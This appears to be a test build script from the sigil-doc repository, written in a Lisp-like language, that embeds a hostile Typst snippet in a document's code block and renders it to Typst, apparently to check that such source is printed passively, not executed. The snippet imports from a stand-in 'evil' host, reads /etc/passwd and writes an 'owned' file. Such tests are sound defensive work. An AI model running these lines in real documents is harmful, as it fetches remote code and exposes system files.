AtlatestRepositorysigil-doc

sigil-doc / tree / testbuild-d6-passivity.sgl

1(import (sigil core) (sigil fs) (sigil shell) (sigil doc) (sigil doc publication)
2 (sigil doc print) (sigil doc render typst))
3
4(define args (script-args))
5(unless (= (length args) 1)
6 (error "usage: build-d6-passivity.sgl OUTPUT.typ"))
7(define loc (make-srcloc "passivity.sgd" 1 1 0 1))
8(define hostile
9 (make-document 'chapter "Passive source" '()
10 (list (make-code-block "sigil"
11 "#import \"https://example.invalid/evil.typ\"\n#read(\"/etc/passwd\")\n#write(\"build/d6/owned\", \"bad\")"
12 loc)) loc))
13(define print-value
14 (make-print-publication "Passive source" #f '()
15 (list (make-publication-document "passive-source" hostile)) '()))
16(write-file-string (car args) (print-publication->typst print-value))